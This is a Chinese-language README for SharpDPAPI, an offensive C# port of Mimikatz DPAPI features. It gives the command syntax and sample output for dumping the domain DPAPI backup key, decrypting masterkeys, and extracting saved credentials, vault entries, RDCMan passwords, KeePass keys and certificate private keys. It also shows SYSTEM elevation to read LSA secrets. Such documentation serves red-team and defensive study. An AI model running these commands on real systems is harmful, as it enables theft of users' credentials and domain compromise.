SharpDPAPI 是一个将部分 Mimikatz DPAPI 功能移植到 C# 的版本。
SharpDPAPI 是 @gentilkiwi 的 Mimikatz 项目中部分 DPAPI 功能的 C# 移植版本。
我并未构思此逻辑,它仅仅是 Mimikatz 的移植,旨在更好地理解流程并将其操作化以适应我们的工作流程。
SharpChrome 子项目改编自 @gentilkiwi 和 @djhohnstein 的工作,特别是其 SharpChrome 项目。然而,此版本的 SharpChrome 使用了支持无锁打开的不同版本的 C# SQL 库。由于所使用的 SQLite 库体积较大,SharpChrome 在 SharpDPAPI 中被构建为一个单独的项目。
Chrome 和基于 Chromium 的新型 Edge 浏览器均可通过 SharpChrome 进行分类。
SharpChrome 还使用了 @AArnott 的 BCrypt P/Invoke 代码 的精简版本,该代码以 MIT 许可证发布。
如果你不熟悉 DPAPI,请查看此文章获取更多背景信息。有关 DPAPI 中凭据和保管库的更多信息,请参阅 Benjamin 的关于该主题的 Wiki 条目。
@harmj0y 是本移植版本的主要作者。
SharpDPAPI 采用 BSD 3-Clause 许可证授权。
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
检索域控制器的 DPAPI 备份密钥,可选择指定域控制器和输出文件:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
*search* 命令将搜索注册表、文件、文件夹和 base64 blob 中潜在的 DPAPI blob:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
计算机/SYSTEM 分类:
machinemasterkeys - 对所有可访问的计算机主密钥文件进行分类(提升至 SYSTEM 以检索 DPAPI_SYSTEM LSA 秘密)
machinecredentials - 使用 'machinemasterkeys' 然后对计算机凭据文件进行分类
machinevaults - 使用 'machinemasterkeys' 然后对计算机保管库进行分类
machinetriage - 运行 'machinecredentials' 和 'machinevaults' 命令
用户分类:
'masterkeys' 命令的参数:
/target:FILE/folder - 对特定主密钥或包含主密钥的文件夹进行分类(否则对本地主密钥进行分类)
/pvk:BASE64... - 使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
/pvk:key.pvk - 使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
/password:X - 使用明文密码解密目标用户的主密钥(可远程工作)
/ntlm:X - 使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
/credkey:X - 使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
/rpc - 通过请求域控制器解密目标用户的主密钥
/server:SERVER - 对远程服务器进行分类,假设拥有管理员权限
/hashes - 输出用户主密钥文件的 '哈希',格式为 JTR/Hashcat(不解密)
credentials|vaults|rdg|keepass|triage|blob|ps 命令的参数:
解密:
/unprotect - 强制对 'ps'、'rdg' 或 'blob' 命令使用 CryptUnprotectData()
/pvk:BASE64... - 使用 base64 编码的 DPAPI 域私钥文件首先解密可访问的用户主密钥
/pvk:key.pvk - 使用 DPAPI 域私钥文件首先解密可访问的用户主密钥
/password:X - 使用明文密码解密目标用户的主密钥(可远程工作)
/ntlm:X - 使用 NTLM 哈希解密目标用户的主密钥(可远程工作)
/credkey:X - 使用 DPAPI 凭据密钥(域或本地 SHA1,可远程工作)解密目标用户的主密钥
/rpc - 通过请求域控制器解密目标用户的主密钥
GUID1:SHA1 ... - 使用一个或多个 GUID:SHA1 主密钥进行解密
/mkfile:FILE - 使用包含一个或多个 GUID:SHA1 主密钥的文件进行解密
目标定位:
/target:FILE/folder - 对特定的 'Credentials'、'.rdg|RDCMan.settings'、'blob' 或 'ps' 文件位置,或 'Vault' 文件夹进行分类
/server:SERVER - 对远程服务器进行分类,假设拥有管理员权限
注意:必须与 /pvk:KEY 或 /password:X 一起使用
注意:不适用于 'blob' 或 'ps' 命令
证书分类:
'certificates' 命令的参数:
/showall - 显示所有解密的私钥文件,而不仅仅是链接到已安装证书的文件(默认行为)
/machine - 使用本地计算机存储进行证书分类
/mkfile | /target - 用于 /machine 分类
[来自上方用户分类的所有解密参数]
注意:大多数情况下,如果你在处理用户 DPAPI 秘密时直接使用 *triage*,而在处理 SYSTEM DPAPI 秘密时使用 *machinetriage*。
这些功能封装了所有其他可以自动运行的相关功能。
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_**credentials** 命令将搜索凭据文件,并可以 a) 使用提供的任何 `{GUID}:SHA1` 主密钥解密,b) 使用一个 `/mkfile:FILE` 文件,包含一个或多个 `{GUID}:SHA1` 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(`/pvk:BASE64...` 或 `/pvk:key.pvk`)首先解密任何用户主密钥(类似 **masterkeys**),或 d) 使用 `/password:X` 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 `sekurlsa::dpapi` 命令恢复。
可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的凭证文件(或凭证文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值;如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
如果在提升的上下文中运行,将处理所有用户的凭证文件,否则仅处理当前用户的凭证文件。
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
vaults 命令将搜索保管库,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
Vault 文件夹中的 Policy.vpol 文件夹将使用提供的任何 DPAPI 密钥进行解密,以检索关联的 AES 解密密钥,然后使用这些密钥解密任何关联的 .vcrd 文件。
可以使用 /target:C:\Folder\ 指定特定的 vault 文件夹。在这种情况下,要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
使用域 DPAPI 备份密钥并指定文件夹(即“离线”处理):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
rdg 命令将搜索当前用户(如果提升则为所有用户)的 RDCMan.settings 文件,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
/unprotect 标志将使用 CryptUnprotectData() 解密任何保存的 RDP 密码,前提是该命令在保存密码的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。
可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的 RDCMan.settings 文件、.RDC 文件(或 .RDG 文件所在的文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值(或 /unprotect);如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
此命令将解密来自 RDCMan.settings 文件以及该文件引用的任何 .RDG 文件中保存的所有密码信息。
使用 /unprotect 解密任何找到的密码:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
keepass 命令将搜索当前用户(如果提升则为所有用户)的 KeePass ProtectedUserKey.bin 文件,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
/unprotect 标志将使用 CryptUnprotectData() 解密密钥字节,前提是该命令在保存密码的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。
可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的 ProtectedUserKey.bin 文件、.RDC 文件(或 .RDG 文件所在的文件夹)。如果指定了文件,则需要提供 {GUID}:SHA1 值(或 /unprotect);如果指定了文件夹,则要么 a) 必须提供 {GUID}:SHA1 值,要么 b) 文件夹中必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
解密后的密钥文件字节可以与 KeeThief 中修改过的 KeePass 版本一起使用。
使用 /unprotect 解密任何找到的密钥材料:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
certificates 命令将搜索用户加密的 DPAPI 证书私钥,并可以 a) 使用提供的任何 {GUID}:SHA1 主密钥解密,b) 使用一个 /mkfile:FILE 文件,包含一个或多个 {GUID}:SHA1 主密钥映射,c) 使用提供的 DPAPI 域备份密钥(/pvk:BASE64... 或 /pvk:key.pvk)首先解密任何用户主密钥(类似 masterkeys),或 d) 使用 /password:X 解密任何用户主密钥,然后将其用作查找解密表。DPAPI GUID 映射可以通过 Mimikatz 的 sekurlsa::dpapi 命令恢复。
/unprotect 标志将使用 CryptUnprotectData() 解密私钥,前提是该命令在您尝试访问其证书的用户上下文中运行。这可以在_非特权_上下文中完成,无需访问 LSASS。关于为什么此方法不用于 credentials/vaults,请参阅 Benjamin 的文档。
可以使用 /target:FILE 或 /target:C:\Folder\ 指定特定的证书。在这两种情况下,都需要提供 {GUID}:SHA1 值(或 /unprotect),或者文件夹必须包含 DPAPI 主密钥,并且必须提供 /pvk 域备份密钥。
默认情况下,仅显示与已安装证书相关联的私钥。使用 /showall 命令将显示所有解密的私钥。
对 CNG 私钥使用 /cng 标志(默认为 capi)。
使用域 {GUID}:SHA1 主密钥映射:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da使用 `/unprotect` 解密找到的任何用户证书:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: Certificate Triage
[*] Using CryptUnprotectData() for decryption.
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Description : Private Key
algCrypt : CALG_AES_256 (keyLen 256)
algHash : CALG_SHA_512 (32782)
Salt : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Unique Name : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Thumbprint : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 10/18/2022 11:40:07 AM
Expiry Date : 10/18/2023 12:00:07 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Server Authentication (1.3.6.1.5.5.7.3.1)
[*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
使用域 DPAPI 备份密钥首先解密任何可发现的主密钥:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Folder : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
File : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Description : CryptoAPI Private Key
algCrypt : CALG_3DES (keyLen 192)
algHash : CALG_SHA (32772)
Salt : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Unique Name : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Thumbprint : 98A03BC583861DCC19045758C0E0C05162091B6C
Issuer : CN=theshire-DC-CA, DC=theshire, DC=local
Subject : CN=harmj0y
Valid Date : 2/22/2021 2:19:02 PM
Expiry Date : 2/22/2022 2:19:02 PM
Enhanced Key Usages:
Client Authentication (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
Secure Email (1.3.6.1.5.5.7.3.4)
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
[*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
triage 命令运行用户 credentials、vaults、rdg 和 certificates 命令。
machinemasterkeys 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。它将返回一组主密钥 {GUID}:SHA1 映射。
需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Masterkey File Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
machinecredentials 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器凭据文件。
需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Credential Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging System Credentials
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
machinevaults 命令会提权到 SYSTEM 以检索 DPAPI_SYSTEM LSA 密码,然后用于解密任何找到的机器 DPAPI 主密钥。这些密钥随后用于解密任何找到的机器保险库。
需要本地管理员权限(以便我们可以检索 DPAPI_SYSTEM LSA 密码)。
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Machine DPAPI Vault Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging SYSTEM Vaults
[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
